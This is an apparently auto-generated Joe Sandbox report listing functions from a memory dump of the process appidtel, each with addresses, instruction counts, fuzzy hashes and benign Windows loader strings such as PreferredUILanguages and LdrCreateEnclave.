Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
Instruction ID: 98ae8e9a2e263ded0f6aced66417e1acd4ef5bd84f12bfce19e1d678ac7ae901
Opcode Fuzzy Hash: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
Instruction Fuzzy Hash: 4951CB72614705AFE721EF14C840F6BB7E8FBC4790F040929B9869B290D7B5ED14CBA2

Function 039BB256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 039BB28F

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: PreferredUILanguages
API String ID: 0-1884656846
Opcode ID: 0b7e3bf91db4b95b4e7948b71ad518e7090016de5f5ff6c8d26266fcd0e40e9a
Instruction ID: c3f081c02c228e2534f1f8240bede09b615f24daebfdfbce3aff022d4bfac253
Opcode Fuzzy Hash: 0b7e3bf91db4b95b4e7948b71ad518e7090016de5f5ff6c8d26266fcd0e40e9a
Instruction Fuzzy Hash: A8410436D01219ABCF21DAD4C940BEEF7BDAF84750F050166E946EB290D6B0DE00C7B0

Function 0397C730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 0397C77F

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 722fc1017406b5888a82481e3cfa06609748a6eb0426806c4020bb2c0abf12db
Instruction ID: d222372b8fb6bcb23a1dc91d3b932fb3daab709e7b575383953666ac15bfbf5b
Opcode Fuzzy Hash: 722fc1017406b5888a82481e3cfa06609748a6eb0426806c4020bb2c0abf12db
Instruction Fuzzy Hash: 7D4124B5D0162DABDB21DB50CC84FDEB77CAB85754F0045E5EA08AB180DB709E898FA4

Function 039897A9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

verifier.dll, xrefs: 03989870

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: verifier.dll
API String ID: 0-3265496382
Opcode ID: 18605922cef343a53ea613971f022dcf0a4c6da6c6ca9e01d74db848aa4118a8
Instruction ID: ae5f8ae7007b5f23418eb94f2523f3ed613e2c6833f5e17d5c20d8db77ca1f4b
Opcode Fuzzy Hash: 18605922cef343a53ea613971f022dcf0a4c6da6c6ca9e01d74db848aa4118a8
Instruction Fuzzy Hash: CF31A575B00302AFDB24EF699850B76B7E9EBC9350F698879E509DF285E771CC808790

Function 039807C3 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

mX, xrefs: 039807EE

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: mX
API String ID: 0-2888446088
Opcode ID: 807c6dcf62fc64456f435b607f1c4faf20569a5b79bbfc9e38f111b92cd63474
Instruction ID: 8066192e79db85033dfa0bbcb5415a3a9e15d22d1a4b4fc2bf1a131246d0b0d2
Opcode Fuzzy Hash: 807c6dcf62fc64456f435b607f1c4faf20569a5b79bbfc9e38f111b92cd63474
Instruction Fuzzy Hash: 16417F72508340AFD320EF69C845B9BBBE8FFC8654F104A2AF598DB251D7719944CB92

Function 039336EF Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

Flst, xrefs: 03933731

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: Flst
API String ID: 0-2374792617
Opcode ID: 4a07c4e21cf2b30694f46a2cbba63ca197ce087bf1954a4cd69bd7a67526f012
Instruction ID: 8e5c9e4acfc7f6ee3ae48ad9ad8dd0bfac5c91c851827bcc0d6ee000bf7d430a
Opcode Fuzzy Hash: 4a07c4e21cf2b30694f46a2cbba63ca197ce087bf1954a4cd69bd7a67526f012
Instruction Fuzzy Hash: D7419CF56053019FC314CF19C4C4A26FBE8EB8A750F18896EE49ACF281D771D942CB91

Function 038F9730 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

L4CwL4Cw, xrefs: 038F97A7

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: L4CwL4Cw
API String ID: 0-1654103815
Opcode ID: 20e5ec96e3e4f6d67eac23d42024f9a715fbb0cc387c4f019c3d440c59b30efa
Instruction ID: 5e6029222b981cc3ecc0eccb03dab0056bd561cba88d40ae13572d0bc38e2fbb
Opcode Fuzzy Hash: 20e5ec96e3e4f6d67eac23d42024f9a715fbb0cc387c4f019c3d440c59b30efa
Instruction Fuzzy Hash: 2A21837AA00714AFC322EF99C440B1ABBB9FBC4B54F1504A9EA55DB751DB74E801CB90

Function 03905096 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Actx , xrefs: 039050BF

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 418b22e28744955f3705c01f7a6ba951ea066675a3c1cd6b090c919341f1ebc5
Instruction ID: 07aa0afa9a62b53ee8fcaf94b3791d3172eb846e112e7c408fae1f220d09f485
Opcode Fuzzy Hash: 418b22e28744955f3705c01f7a6ba951ea066675a3c1cd6b090c919341f1ebc5
Instruction Fuzzy Hash: FD11543070D602CFDB24C91DC95063AB2ADEB97294F3A892AD556CB3D1D671DC418B90

Function 0398106E Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

LdrCreateEnclave, xrefs: 039810F7

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: LdrCreateEnclave
API String ID: 0-3262589265
Opcode ID: c47c844df0c3503e7e9ad7acf9ce9ca6838605c0ed0c14dc211052dd626095cb
Instruction ID: 06ee59fd251e7dcb3166c0e97c8c6b4c9d9cd1c5b1137f440e1c911c174252bc
Opcode Fuzzy Hash: c47c844df0c3503e7e9ad7acf9ce9ca6838605c0ed0c14dc211052dd626095cb
Instruction Fuzzy Hash: 252113B15183449FC310EF6AC845A5BFBE8FBD5B40F004A1FFAA09B250D7B49909CB92

Function 0395739A Relevance: .7, Instructions: 705COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3c2db607f147a9250f60600f2e5b09fc4eac33eeef33a36029c6d6b7f081bb4
Instruction ID: 45c91fa2346594d5fdcd320781437e1631285dd0046efd97429d732ab4a2f252
Opcode Fuzzy Hash: f3c2db607f147a9250f60600f2e5b09fc4eac33eeef33a36029c6d6b7f081bb4
Instruction Fuzzy Hash: 9442B275A006168FDB14CF99C4906BEF7BAFF88354B18855DE952AB340D730EE82CB90

Function 0392B2C0 Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec02a357196e17b329d4153b16a2c48095153b746a148a229b2db861cd03a7f
Instruction ID: 4a59cba5d88276408f7fbc33274e183d3b14681c01c0051cfb7bb549c2b69ac1
Opcode Fuzzy Hash: cec02a357196e17b329d4153b16a2c48095153b746a148a229b2db861cd03a7f
Instruction Fuzzy Hash: EE32AE76E01629DFCF14DFA8C890BAEBBB5FF84754F184129E805AB384E7359941CB90

Function 03998158 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1cead528a0211e8ef89caaa184260240ad33ba7b80da623d12bac73099135a5
Instruction ID: 3059d6521cb1b48394d97dfcf630e551a267b4b6c0d03284e12fe58b162452c4
Opcode Fuzzy Hash: e1cead528a0211e8ef89caaa184260240ad33ba7b80da623d12bac73099135a5
Instruction Fuzzy Hash: 1C424D75A142199FEF24CF69C881BADB7F9BF89340F19809EE849AB241D7349981CF50

Function 039AA118 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf0dec4d968e5cbf0795b300b225d1aa9457c399c3ed139f227cec8970c395aa
Instruction ID: c0fb913da5f9e2ad2ba38f3bb9939ad0b20bdf3ec36178aa83a0c880dc8426ed
Opcode Fuzzy Hash: bf0dec4d968e5cbf0795b300b225d1aa9457c399c3ed139f227cec8970c395aa
Instruction Fuzzy Hash: 3122D074604A518FDB25CF2DC094376B7F5AF44385F0C8A9AE8868F285E735E492CBE4

Function 039C16CC Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1144068488b6b120d1231f3a12d385a5f160e80ccb3e1a655539132ec27727ac
Instruction ID: 25b9378d85a6945b137277860bf1b59cee4b479669c3c5e1f4a1dff309f3587b
Opcode Fuzzy Hash: 1144068488b6b120d1231f3a12d385a5f160e80ccb3e1a655539132ec27727ac
Instruction Fuzzy Hash: 1B22E235A102568FDB19CF58C490ABAF3FAFF88344B1845ADD452EB346DB30E942CB95

Function 038F8397 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a20a8feed6f35996da2d181c762c1164e4b8ba993678418a6e954b00ace07fec
Instruction ID: 09291fda55bebe0d06ccf4223d66911cb18aa67337f0345032467f73fd4aecda
Opcode Fuzzy Hash: a20a8feed6f35996da2d181c762c1164e4b8ba993678418a6e954b00ace07fec
Instruction Fuzzy Hash: 69D1D275A0171A9FCF14DFA8C890BBAB7A5BF44318F0946A9FE16DB280E734D941CB50

Function 0390D7E0 Relevance: .3, Instructions: 342COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf655e55e5756c7f3e66617715c53d925068735e98e841d4a9a8ce149b0e1a2
Instruction ID: ec2ded91ead7de2efc2e381196ec53e62795969756e143f721b24a7ccb896231
Opcode Fuzzy Hash: 2bf655e55e5756c7f3e66617715c53d925068735e98e841d4a9a8ce149b0e1a2
Instruction Fuzzy Hash: 4BC1C571E012169FEB24CF9AC840BAEF7B9FF94350F198269D915AB2C0D770E941CB80

Function 03988243 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction ID: fd33b1db96732dc521edcc11cd9b142e550a21a476879b8f76be8381219dca53
Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction Fuzzy Hash: BBB17275A04708AFDF24EF95C940EABB7B9FFC4384F94446DA9429B790DA34E905CB20

Function 039290DB Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37a5d04b884884ba1b866c7f224024d82aaabfab60a6be29ec13ff9fa4fa2c65
Instruction ID: 1f63bce56ed768fbab508acb94fe79556e33d130d5444f1b0d521bd098ded00e
Opcode Fuzzy Hash: 37a5d04b884884ba1b866c7f224024d82aaabfab60a6be29ec13ff9fa4fa2c65
Instruction Fuzzy Hash: E0A15A75A01619AFEB22EF64CC81FAE7BB9AF85750F050154FA10AF2A0D7759D10CBA0

Function 039083C0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dfcaa17b3e64eea484d3947fb01c1655fd13a7c3371cd7846680a93aa8a94fb
Instruction ID: 28408dbbe7e2ec3376a1f487deb93241a3ac990f8c16ccd3cff9e2fe4f38f616
Opcode Fuzzy Hash: 7dfcaa17b3e64eea484d3947fb01c1655fd13a7c3371cd7846680a93aa8a94fb
Instruction Fuzzy Hash: E3C158742083408FD764CF19C495BABB7E9BF88344F48496DE9898B291D774E908CF92

Function 03940185 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6750e6c983902df9a96b7a2481cdffc439e3c847b78fd70c7ffb4173197ee56f
Instruction ID: 467c59984665d29fce0e8478927b8322e8b6b8f25682cce8c2576d116c251d28
Opcode Fuzzy Hash: 6750e6c983902df9a96b7a2481cdffc439e3c847b78fd70c7ffb4173197ee56f
Instruction Fuzzy Hash: 11A1DF71B0071A9FDB24DF69C890BAAF7B9FF44354F084529EA459B380EB34E811CB90

Function 039860E0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfe4e28530c887f5000636933b41284e9ccc338ab9e74bb2d056da55807d0743
Instruction ID: bec889a70c3ae19bd4c2e938870f9dd2afadfe025238a2ecc5ad2e1055f81777
Opcode Fuzzy Hash: bfe4e28530c887f5000636933b41284e9ccc338ab9e74bb2d056da55807d0743
Instruction Fuzzy Hash: BD91B375D00229AFDB15DFA8D884BAEBBB9AF89740F154169E610EF341D738D9008BA0

Function 0391E3F0 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cea0bad577cd9b13ee4b122d21ffc6701174e26b86f5f21b41905650747427f
Instruction ID: c4b8fcb4d867d1ca74c6cb3586aac4c010d53ef7899c764941d9d94278f26e7e
Opcode Fuzzy Hash: 5cea0bad577cd9b13ee4b122d21ffc6701174e26b86f5f21b41905650747427f
Instruction Fuzzy Hash: 6C910236E017198FDB24EB68C880B7EB7AAEF84754F098465EC06AF284E734DD51C791

Function 03901131 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01fd40913f40a60d8ff1ed0a8284d95392ecb3af00e03e69d096770d733cef8c
Instruction ID: 544201f731acaf707a47a89efad6d8ed65a1f7907952b9290007b5aaa4cd7de4
Opcode Fuzzy Hash: 01fd40913f40a60d8ff1ed0a8284d95392ecb3af00e03e69d096770d733cef8c
Instruction Fuzzy Hash: F4B10175608340CFD354CF28C480A6AFBE5BB88354F18496EF89ADB352D331E985CB42

Function 0392D090 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f57846fa6853ce2eba42e0856427c3c37140fe7ac7bc1e87bfd5d4bd44f03bd
Instruction ID: c79f3eb0ba4dbab3a6f8cc932a1d24ff00ec4e55f789b0c579c3931ca46e8ee5
Opcode Fuzzy Hash: 2f57846fa6853ce2eba42e0856427c3c37140fe7ac7bc1e87bfd5d4bd44f03bd
Instruction Fuzzy Hash: D581177AE0252A8BCF19CF58CA907EEF7B6FF84344F19416AD825BB345D6319900CB90

Function 0393E284 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc777be755641f9d55b66240d82493bda79eb740f8f0f3308a6facbd9227f8b4
Instruction ID: 36e6297e08828b85b7b4e4bec742d0e83511a94a0266fb90920c62d1123d6171
Opcode Fuzzy Hash: fc777be755641f9d55b66240d82493bda79eb740f8f0f3308a6facbd9227f8b4
Instruction Fuzzy Hash: 1B817CB6E00609AFDB25DFA9C880BEEB7BAFF89354F144429E555A7250D730AC05CB60

Function 0391260B Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ffe30cac86e4d10039b4b700af8d5c41d66c136f9fa158edd936863d40e4c78
Instruction ID: 8074890bdbe24dbfd351560980d769c198d304389fb60534b38af933ce53e044
Opcode Fuzzy Hash: 5ffe30cac86e4d10039b4b700af8d5c41d66c136f9fa158edd936863d40e4c78
Instruction Fuzzy Hash: 4B71F2366042459FC311EF28C480B6AB7F9FF84750F0889AAE899DB395DB34E855CB91

Function 0398035C Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
Instruction ID: c09bb0bb47731a323402c5380a30dc822923de615ac69405636b336ef6157575
Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
Instruction Fuzzy Hash: 46715F75A00619EFCB10EFA5C984EDEBBB9FF88700F144569E545EB250DB34EA05CB90

Function 039962A0 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec6efc0f5e969eb49c55068b7adda26ac8abfdf8d2808b9080b3935310a24b6f
Instruction ID: a42ebb262f67568053fef7616f570c2e362d688bfac79cb1410d6007f486dc81
Opcode Fuzzy Hash: ec6efc0f5e969eb49c55068b7adda26ac8abfdf8d2808b9080b3935310a24b6f
Instruction Fuzzy Hash: 20710236200B01EFEB31DF58C845F5AB7B9FF847A0F19482AE5569B2A0D775E844CB50

Function 039C132D Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9933690012d825fe4180d17a599d360887780ae29e317fb9f4e35683397303c8
Instruction ID: 616f30a27890fa8e4bea90946a44ffa2c2cb75788475699192c9d955ed58e8a8
Opcode Fuzzy Hash: 9933690012d825fe4180d17a599d360887780ae29e317fb9f4e35683397303c8
Instruction Fuzzy Hash: 74816C75A002459FCB09CF68C490AAEBBF1FF88300F1981ADD859AB342D734EA51CB95

Function 039C903E Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1920466eec35028293b4303d4d11568e6be219243ca41a9d5a858eab71a9726
Instruction ID: 0cf2bd4662fd47a58292d47724663cfb230f05c1f05ab61c0183c078418c508d
Opcode Fuzzy Hash: c1920466eec35028293b4303d4d11568e6be219243ca41a9d5a858eab71a9726
Instruction Fuzzy Hash: 8461DE76210795AFD715CF68C884BABFBA9FB88750F04461DF8998B240DB30E511CB92

Function 03907703 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26f20545b4aa9a148a31b9e40699db7a9728173343b9a9f0f047b9997603c6e3
Instruction ID: 80ee92c3cefcc19f29c3f215d353480981c7ed918605fbd6a0105b378237a309
Opcode Fuzzy Hash: 26f20545b4aa9a148a31b9e40699db7a9728173343b9a9f0f047b9997603c6e3
Instruction Fuzzy Hash: 97614275A04605EFDB18DFA8C4C0AADFBB9FF84250F18856ED51AAB340DB30B951CB90

Function 039C92A6 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7287d7a4f2e8907562436564c6c9ffb399cc6e9bb35fb27d8aba08ed025f83d9
Instruction ID: e59a17c3f65e143c41c91d97c6196df25544445265dfb29b036ce2e82223ec3b
Opcode Fuzzy Hash: 7287d7a4f2e8907562436564c6c9ffb399cc6e9bb35fb27d8aba08ed025f83d9
Instruction Fuzzy Hash: F861F4762287C28BD311CF64C494BAAF7E4BF80744F18486DE8958B291DB35E906CB92

Function 038FB2D3 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82a2f9f62ee5eb96c89fbec38abf358993a43bdb7878a2728fc64ea8bd40ec4d
Instruction ID: 138b8ec8994edb06c1a2ee25024482abf7735a23747d6506475519a3753c3cc3
Opcode Fuzzy Hash: 82a2f9f62ee5eb96c89fbec38abf358993a43bdb7878a2728fc64ea8bd40ec4d
Instruction Fuzzy Hash: 62412675240B04EFCB26EF59D980B26B7A9EF84760F1544A9EA19DF250DB70DC40CB90

Function 03913740 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 434e4db84f0f1cba71ba806580c8d2582676806fc29ad65f6d8bf46688419370
Instruction ID: f147cc36111e1754467cf4e90065cd24f7204cd121734eeb51f06d4859318501
Opcode Fuzzy Hash: 434e4db84f0f1cba71ba806580c8d2582676806fc29ad65f6d8bf46688419370
Instruction Fuzzy Hash: 8A51E37AA0165AAFC711CF6CC4C06A9B7B8FF44750F0846A5E855EB740E734E9A1CBD0

Function 03907152 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b48dd165282bc33b209549eca3d7b19e4b0d539c7d4bf3d57f5ddfc2fee96375
Instruction ID: 31c4cc673fa738cfdd324c5d7e843fe93eb4f13bcc1c61a12545339350ed022b
Opcode Fuzzy Hash: b48dd165282bc33b209549eca3d7b19e4b0d539c7d4bf3d57f5ddfc2fee96375
Instruction Fuzzy Hash: C2512435A00609EFEB05EFA8C944BBEB7B8FF44361F148069E402972D0DB74A911CB80

Function 039CD26B Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e34a641792a2e79be6bf0067dfbea21fe876c0422c27924c31e583a14ba6783b
Instruction ID: 5bbfde43ff99359be4af9f0ec655bea9cde1515f93f2f0cc8c11483f25d9db19
Opcode Fuzzy Hash: e34a641792a2e79be6bf0067dfbea21fe876c0422c27924c31e583a14ba6783b
Instruction Fuzzy Hash: 27515E756183859FD710CF68C880BAAB7E9FFC8344F04892DF9959B281D734E945CB52

Function 039051ED Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfdbecb0bf1cd869396ab8c128ef2253ef7cd1bf133e2b76881d52e8a27c4bc5
Instruction ID: 867b50f026696b683e409d4b32b281c3f4ee2febfac6c0348717a3d9a8b3cc43
Opcode Fuzzy Hash: bfdbecb0bf1cd869396ab8c128ef2253ef7cd1bf133e2b76881d52e8a27c4bc5
